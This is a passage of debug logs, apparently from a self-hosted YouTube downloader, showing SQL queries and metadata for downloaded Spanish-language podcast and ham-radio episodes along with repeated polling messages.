(m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:52.766 [debug] QUERY OK source="media_items" db=0.9ms queue=0.5ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:52.802 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep 4️⃣3️⃣: Revisión de los pronósticos de 2025.🎅🏻🎄\n\nBueno aunque la Gripe nos quiera dejar fuera de juego, que casi lo consigue, aquí seguimos al pie del cañón, un poco distinto, un poco cogido con pinzas pero David García Martínez y yo no queríamos fallaros.\n\nRepasamos el capitulo de pronósticos del 2025, a ver si se han cumplido, si se han acelerado o frenado.... y en el próximo os contaremos los pronósticos del 2026... a ver si ya podemos a grabar con normalidad!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#IAGen hashtag#GenAI hashtag#ChatGPT \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 589, "filename" => "/downloads/music/IA mí QUÉ/EP 43: Revisión de los pronósticos de 2025.m4a", "id" => "sK3r-p5XB5c", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sK3r-p5XB5c", "playlist_index" => 7, "timestamp" => 1767938347, "title" => "EP 43: Revisión de los pronósticos de 2025", "upload_date" => "20260109"} 21:58:52.803 [debug] QUERY OK source="sources" db=0.5ms idle=39.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 21:58:52.804 [debug] QUERY OK source="sources" db=0.5ms idle=40.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:58:52.805 [debug] QUERY OK source="media_items" db=0.5ms idle=39.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-01-09 05:59:07Z], 2] 21:58:52.807 [debug] QUERY OK source="media_items" db=1.2ms idle=39.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["#IAMIQUE 👉🏼 Ep 4️⃣3️⃣: Revisión de los pronósticos de 2025.🎅🏻🎄\n\nBueno aunque la Gripe nos quiera dejar fuera de juego, que casi lo consigue, aquí seguimos al pie del cañón, un poco distinto, un poco cogido con pinzas pero David García Martínez y yo no queríamos fallaros.\n\nRepasamos el capitulo de pronósticos del 2025, a ver si se han cumplido, si se han acelerado o frenado.... y en el próximo os contaremos los pronósticos del 2026... a ver si ya podemos a grabar con normalidad!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#IAGen hashtag#GenAI hashtag#ChatGPT \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP 43: Revisión de los pronósticos de 2025", "6b3447e7-7f6f-4d95-965b-7eb5bfb133a1", 589, false, "sK3r-p5XB5c", "https://www.youtube.com/watch?v=sK3r-p5XB5c", 7, "/downloads/music/IA mí QUÉ/EP 43: Revisión de los pronósticos de 2025.m4a", false, false, false, 2, [], 96, ~U[2026-01-09 05:59:07Z], ~U[2026-02-07 20:58:52Z], ~U[2026-02-07 20:58:52Z], "#IAMIQUE 👉🏼 Ep 4️⃣3️⃣: Revisión de los pronósticos de 2025.🎅🏻🎄\n\nBueno aunque la Gripe nos quiera dejar fuera de juego, que casi lo consigue, aquí seguimos al pie del cañón, un poco distinto, un poco cogido con pinzas pero David García Martínez y yo no queríamos fallaros.\n\nRepasamos el capitulo de pronósticos del 2025, a ver si se han cumplido, si se han acelerado o frenado.... y en el próximo os contaremos los pronósticos del 2026... a ver si ya podemos a grabar con normalidad!\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n 👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\nhashtag#IAMIQUE hashtag#Origen hashtag#IAGen hashtag#GenAI hashtag#ChatGPT \n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "EP 43: Revisión de los pronósticos de 2025", 589, false, "sK3r-p5XB5c", "https://www.youtube.com/watch?v=sK3r-p5XB5c", "/downloads/music/IA mí QUÉ/EP 43: Revisión de los pronósticos de 2025.m4a", false, 2, ~U[2026-01-09 05:59:07Z]] 21:58:52.807 [debug] QUERY OK source="sources" db=0.6ms idle=41.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 21:58:52.808 [debug] QUERY OK source="media_profiles" db=0.6ms idle=4.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:58:52.809 [debug] QUERY OK source="media_items" db=0.6ms idle=4.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1259] 21:58:52.809 [debug] Current batch of media processed. Will check again in 1000ms 21:58:52.846 [debug] Current batch of media processed. Will check again in 1000ms 21:58:53.810 [debug] Current batch of media processed. Will check again in 1000ms 21:58:53.847 [debug] Current batch of media processed. Will check again in 1000ms 21:58:54.811 [debug] Current batch of media processed. Will check again in 1000ms 21:58:54.848 [debug] Current batch of media processed. Will check again in 1000ms 21:58:55.812 [debug] Current batch of media processed. Will check again in 1000ms 21:58:55.849 [debug] Current batch of media processed. Will check again in 1000ms 21:58:56.813 [debug] Current batch of media processed. Will check again in 1000ms 21:58:56.850 [debug] Current batch of media processed. Will check again in 1000ms 21:58:57.814 [debug] Current batch of media processed. Will check again in 1000ms 21:58:57.851 [debug] Current batch of media processed. Will check again in 1000ms 21:58:58.815 [debug] Current batch of media processed. Will check again in 1000ms 21:58:58.852 [debug] Current batch of media processed. Will check again in 1000ms 21:58:59.816 [debug] Current batch of media processed. Will check again in 1000ms 21:58:59.853 [debug] Current batch of media processed. Will check again in 1000ms 21:59:00.075 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:59:00.817 [debug] Current batch of media processed. Will check again in 1000ms 21:59:00.854 [debug] Current batch of media processed. Will check again in 1000ms 21:59:01.818 [debug] Current batch of media processed. Will check again in 1000ms 21:59:01.855 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Como modificar las lecturas de un BIRD 43 para multiplicar x2 y x5 las potencias de sus tapones. Por ejemplo, un tapon de 50w puede de este modo leer una potencia de 100W (x2) o 250W (x5). Y lo mejor, sin descalibrar!\n\nArticulo original con la idea:\n\nhttps://es.scribd.com/document/898869596/How-to-Modify-Bird-43-to-Extend-Range-Power#:~:text=The%20frequency%20coverage%20of%20the,new%20front%20panel%20range%20switch.\n\nEs un articulo de QST de Septiembre de 2006.\n\n#bird #slug #tapones #modificacion #hack #hamradio #radioaficionados #diyelectronics\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 2153, "filename" => "/downloads/music/ea3grn/172 - MODIFICANDO BIRD 43 PARA LEER MAS POTENCIA CON LOS MISMOS TAPONES.m4a", "id" => "JqVQFbJpqXg", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=JqVQFbJpqXg", "playlist_index" => 7, "timestamp" => 1764262836, "title" => "172 - MODIFICANDO BIRD 43 PARA LEER MAS POTENCIA CON LOS MISMOS TAPONES", "upload_date" => "20251127"} 21:59:01.856 [debug] QUERY OK source="sources" db=0.5ms idle=1124.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 21:59:01.857 [debug] QUERY OK source="sources" db=0.4ms idle=1125.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:59:01.858 [debug] QUERY OK source="media_items" db=0.6ms idle=1125.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-11-27 17:00:36Z], 3] 21:59:01.859 [debug] QUERY OK source="media_items" db=1.0ms idle=573.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Como modificar las lecturas de un BIRD 43 para multiplicar x2 y x5 las potencias de sus tapones. Por ejemplo, un tapon de 50w puede de este modo leer una potencia de 100W (x2) o 250W (x5). Y lo mejor, sin descalibrar!\n\nArticulo original con la idea:\n\nhttps://es.scribd.com/document/898869596/How-to-Modify-Bird-43-to-Extend-Range-Power#:~:text=The%20frequency%20coverage%20of%20the,new%20front%20panel%20range%20switch.\n\nEs un articulo de QST de Septiembre de 2006.\n\n#bird #slug #tapones #modificacion #hack #hamradio #radioaficionados #diyelectronics\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "172 - MODIFICANDO BIRD 43 PARA LEER MAS POTENCIA CON LOS MISMOS TAPONES", "240cb391-889a-466b-a82f-76159973ee86", 2153, false, "JqVQFbJpqXg", "https://www.youtube.com/watch?v=JqVQFbJpqXg", 7, "/downloads/music/ea3grn/172 - MODIFICANDO BIRD 43 PARA LEER MAS POTENCIA CON LOS MISMOS TAPONES.m4a", false, false, false, 3, [], 98, ~U[2025-11-27 17:00:36Z], ~U[2026-02-07 20:59:01Z], ~U[2026-02-07 20:59:01Z], "Como modificar las lecturas de un BIRD 43 para multiplicar x2 y x5 las potencias de sus tapones. Por ejemplo, un tapon de 50w puede de este modo leer una potencia de 100W (x2) o 250W (x5). Y lo mejor, sin descalibrar!\n\nArticulo original con la idea:\n\nhttps://es.scribd.com/document/898869596/How-to-Modify-Bird-43-to-Extend-Range-Power#:~:text=The%20frequency%20coverage%20of%20the,new%20front%20panel%20range%20switch.\n\nEs un articulo de QST de Septiembre de 2006.\n\n#bird #slug #tapones #modificacion #hack #hamradio #radioaficionados #diyelectronics\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "172 - MODIFICANDO BIRD 43 PARA LEER MAS POTENCIA CON LOS MISMOS TAPONES", 2153, false, "JqVQFbJpqXg", "https://www.youtube.com/watch?v=JqVQFbJpqXg", "/downloads/music/ea3grn/172 - MODIFICANDO BIRD 43 PARA LEER MAS POTENCIA CON LOS MISMOS TAPONES.m4a", false, 3, ~U[2025-11-27 17:00:36Z]] 21:59:01.860 [debug] QUERY OK source="sources" db=0.7ms idle=128.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 21:59:01.861 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:59:01.862 [debug] QUERY OK source="media_items" db=0.5ms idle=4.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1295] 21:59:01.862 [debug] Current batch of media processed. Will check again in 1000ms 21:59:02.819 [debug] Current batch of media processed. Will check again in 1000ms 21:59:02.863 [debug] Current batch of media processed. Will check again in 1000ms 21:59:03.820 [debug] Current batch of media processed. Will check again in 1000ms 21:59:03.864 [debug] Current batch of media processed. Will check again in 1000ms 21:59:04.821 [debug] Current batch of media processed. Will check again in 1000ms 21:59:04.865 [debug] Current batch of media processed. Will check again in 1000ms 21:59:05.822 [debug] Current batch of media processed. Will check again in 1000ms 21:59:05.866 [debug] Current batch of media processed. Will check again in 1000ms 21:59:06.823 [debug] Current batch of media processed. Will check again in 1000ms 21:59:06.867 [debug] Current batch of media processed. Will check again in 1000ms 21:59:07.824 [debug] Current batch of media processed. Will check again in 1000ms 21:59:07.868 [debug] Current batch of media processed. Will check again in 1000ms 21:59:08.825 [debug] Current batch of media processed. Will check again in 1000ms 21:59:08.869 [debug] Current batch of media processed. Will check again in 1000ms 21:59:09.826 [debug] Current batch of media processed. Will check again in 1000ms 21:59:09.870 [debug] Current batch of media processed. Will check again in 1000ms 21:59:10.827 [debug] Current batch of media processed. Will check again in 1000ms 21:59:10.871 [debug] Current batch of media processed. Will check again in 1000ms 21:59:11.828 [debug] Current batch of media processed. Will check again in 1000ms 21:59:11.872 [debug] Current batch of media processed. Will check again in 1000ms 21:59:12.829 [debug] Current batch of media processed. Will check again in 1000ms 21:59:12.873 [debug] Current batch of media processed. Will check again in 1000ms 21:59:13.830 [debug] Current batch of media processed. Will check again in 1000ms 21:59:13.874 [debug] Current batch of media processed. Will check again in 1000ms 21:59:14.831 [debug] Current batch of media processed. Will check again in 1000ms 21:59:14.875 [debug] Current batch of media processed. Will check again in 1000ms 21:59:15.832 [debug] Current batch of media processed. Will check again in 1000ms 21:59:15.876 [debug] Current batch of media processed. Will check again in 1000ms 21:59:16.833 [debug] Current batch of media processed. Will check again in 1000ms 21:59:16.877 [debug] Current batch of media processed. Will check again in 1000ms 21:59:17.834 [debug] Current batch of media processed. Will check again in 1000ms 21:59:17.878 [debug] Current batch of media processed. Will check again in 1000ms 21:59:18.835 [debug] Current batch of media processed. Will check again in 1000ms 21:59:18.879 [debug] Current batch of media processed. Will check again in 1000ms 21:59:19.836 [debug] Current batch of media processed. Will check again in 1000ms 21:59:19.880 [debug] Current batch of media processed. Will check again in 1000ms 21:59:20.837 [debug] Current batch of media processed. Will check again in 1000ms 21:59:20.881 [debug] Current batch of media processed. Will check again in 1000ms 21:59:21.096 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:59:21.838 [debug] Current batch of media processed. Will check again in 1000ms 21:59:21.882 [debug] Current batch of media processed. Will check again in 1000ms 21:59:22.839 [debug] Current batch of media processed. Will check again in 1000ms 21:59:22.883 [debug] Current batch of media processed. Will check again in 1000ms 21:59:23.840 [debug] Current batch of media processed. Will check again in 1000ms 21:59:23.884 [debug] Current batch of media processed. Will check again in 1000ms 21:59:24.841 [debug] Current batch of media processed. Will check again in 1000ms 21:59:24.885 [debug] Current batch of media processed. Will check again in 1000ms 21:59:25.842 [debug] Current batch of media processed. Will check again in 1000ms 21:59:25.886 [debug] Current batch of media processed. Will check again in 1000ms 21:59:26.843 [debug] Current batch of media processed. Will check again in 1000ms 21:59:26.887 [debug] Current batch of media processed. Will check again in 1000ms 21:59:27.844 [debug] Current batch of media processed. Will check again in 1000ms 21:59:27.888 [debug] Current batch of media processed. Will check again in 1000ms 21:59:28.845 [debug] Current batch of media processed. Will check again in 1000ms 21:59:28.889 [debug] Current batch of media processed. Will check again in 1000ms 21:59:29.846 [debug] Current batch of media processed. Will check again in 1000ms 21:59:29.890 [debug] Current batch of media processed. Will check again in 1000ms 21:59:30.847 [debug] Current batch of media processed. Will check again in 1000ms 21:59:30.891 [debug] Current batch of media processed. Will check again in 1000ms 21:59:31.848 [debug] Current batch of media processed. Will check again in 1000ms 21:59:31.892 [debug] Current batch of media processed. Will check again in 1000ms 21:59:32.849 [debug] Current batch of media processed. Will check again in 1000ms 21:59:32.893 [debug] Current batch of media processed. Will check again in 1000ms 21:59:33.850 [debug] Current batch of media processed. Will check again in 1000ms 21:59:33.894 [debug] Current batch of media processed. Will check again in 1000ms 21:59:34.851 [debug] Current batch of media processed. Will check again in 1000ms 21:59:34.895 [debug] Current batch of media processed. Will check again in 1000ms 21:59:35.852 [debug] Current batch of media processed. Will check again in 1000ms 21:59:35.896 [debug] Current batch of media processed. Will check again in 1000ms 21:59:36.853 [debug] Current batch of media processed. Will check again in 1000ms 21:59:36.897 [debug] Current batch of media processed. Will check again in 1000ms 21:59:37.854 [debug] Current batch of media processed. Will check again in 1000ms 21:59:37.898 [debug] Current batch of media processed. Will check again in 1000ms 21:59:38.855 [debug] Current batch of media processed. Will check again in 1000ms 21:59:38.899 [debug] Current batch of media processed. Will check again in 1000ms 21:59:39.856 [debug] Current batch of media processed. Will check again in 1000ms 21:59:39.900 [debug] Current batch of media processed. Will check again in 1000ms 21:59:40.857 [debug] Current batch of media processed. Will check again in 1000ms 21:59:40.901 [debug] Current batch of media processed. Will check again in 1000ms 21:59:41.858 [debug] Current batch of media processed. Will check again in 1000ms 21:59:41.903 [debug] Current batch of media processed. Will check again in 1000ms 21:59:42.859 [debug] Current batch of media processed. Will check again in 1000ms 21:59:42.903 [debug] Current batch of media processed. Will check again in 1000ms 21:59:43.860 [debug] Current batch of media processed. Will check again in 1000ms 21:59:43.904 [debug] Current batch of media processed. Will check again in 1000ms 21:59:44.861 [debug] Current batch of media processed. Will check again in 1000ms 21:59:44.905 [debug] Current batch of media processed. Will check again in 1000ms 21:59:45.862 [debug] Current batch of media processed. Will check again in 1000ms 21:59:45.906 [debug] Current batch of media processed. Will check again in 1000ms 21:59:46.863 [debug] Current batch of media processed. Will check again in 1000ms 21:59:46.907 [debug] Current batch of media processed. Will check again in 1000ms 21:59:47.864 [debug] Current batch of media processed. Will check again in 1000ms 21:59:47.908 [debug] Current batch of media processed. Will check again in 1000ms 21:59:48.865 [debug] Current batch of media processed. Will check again in 1000ms 21:59:48.909 [debug] Current batch of media processed. Will check again in 1000ms 21:59:49.866 [debug] Current batch of media processed. Will check again in 1000ms 21:59:49.910 [debug] Current batch of media processed. Will check again in 1000ms 21:59:50.867 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "#IAMIQUE 👉🏼 Ep 4️⃣0️⃣: LLM's y Memoria 🧠🤖\n\nEl podcast de hoy es un poco mas aburrido que el pasado, hoy no hay tarta, y ademas David García Martínez y yo no venimos con una super IA que hace no se que, que si no lo haces vas a desaparecer de la faz de la tierra profesional.\n\nHoy vamos a hablar de la memoria de los LLM's y de un paper que acaba de publicar Google... que por lo que dicen los expertos tiene mucha miga.... aqui te explicamos de que va... puede que sea igual que el paper de hace unos años que también saco Google y que nos ha traído esta revolución. \"Attention Is All You Need\"\n\ny por fa 🙏 (si quieres ayudarnos) :\n\n👐🏼 Dale a Compartir para darnos visibilidad\n ✍🏼 Escribe un comentario, opina!\n 🫶🏼 y ya la leche.... darnos un like (o no)\n 🫵🏼 y siempre .... contamos contigo\n\n\n✅🗃️Y dale a guardar para ver el video mas tarde si ahora no tienes tiempo, lo puedes hacer desde los tres puntos de la esquina superior derecha ▫️▫️▫️\n\nhashtag#IAMIQUE hashtag#Origen hashtag#IAGen hashtag#GenAI hashtag#ChatGPT hashtag#Memory\n\nSigue a nuestras compañías también: \n👉🏼 ORIGEN CORPORACIÓN BIOTECH\n👉🏼 lifely by Origen Genetics", "duration" => 668, "filename" => "/downloads/music/IA mí QUÉ/EP:40 - LA REVOLUCIÓN DE LA IA EN 2026.m4a", "id" => "1lIgl3M92fA", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=1lIgl3M92fA", "playlist_index" => 8, "timestamp" => 1766142983, "title" => "EP:40 - LA REVOLUCIÓN DE LA IA EN 2026", "upload_date" => "20251219"} 21:59:50.868 [debug] QUERY OK source="sources" db=0.6ms idle=1136.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN 